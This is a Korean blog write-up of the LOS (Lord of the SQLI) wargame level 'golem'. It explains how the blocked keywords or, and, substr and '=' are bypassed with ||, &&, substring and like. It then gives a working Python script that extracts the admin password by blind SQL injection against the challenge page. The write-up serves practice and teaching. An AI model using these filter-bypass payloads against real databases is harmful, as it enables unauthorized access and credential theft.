정보보안/웹 해킹
LOS(The Lord of the SQLI) 11 - GOLEM
MDIN1
2021. 1. 16. 23:54
이번 문제는 4번,7번 문제와 같이 pw를 알아내야하는 Blind SQL Injection 문제다.
필터식을 확인해보면, 7번 문제 처럼 or 과 and를 필터링하며 추가로 여태까지 Blind SQL Injection을
수행할 때 사용했던 substr 함수와 =(equal)을 필터링하고 있다.
우선 substr 함수의 경우 현재 이 문제의 DBMS는 MYSQL 이며 MYSQL 은 substr 함수 말고도 substring 함수를 이용해
똑같은 방법으로 Blind SQL Injection을 수행할 수 있으며
=(equal)의 경우 like 함수로 우회할 수 있다.
이를 적용한 파이썬 스크립트는 다음과 같다.
import requests
URL = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
cookies = {'PHPSESSID' : 'b240ndj1hdkjpjl56np7n9fd32'}
def find_len():
pw_len = 0
while True:
pw_len += 1
value = "' || id like 'admin' && length(pw) like {}#".format(pw_len)
params = {'pw' : value}
response = requests.get(URL, params=params, cookies=cookies)
if 'Hello admin' in response.text:
print('패스워드의 길이는', pw_len,'입니다.')
break
print('Trying')
return pw_len
def find_pw():
pw_len = find_len()
pw = ''
for i in range(0, pw_len+1):
for ascii in range(48, 123):
value = "' || id like 'admin' && ascii(substring(pw, {}, 1)) like {}#".format(i, ascii)
params = {'pw': value}
response = requests.get(URL, params=params, cookies=cookies)
if 'Hello admin' in response.text:
print(i,'번째 패스워드는', chr(ascii))
pw += chr(ascii)
print('패스워드는', pw)
return pw
find_pw()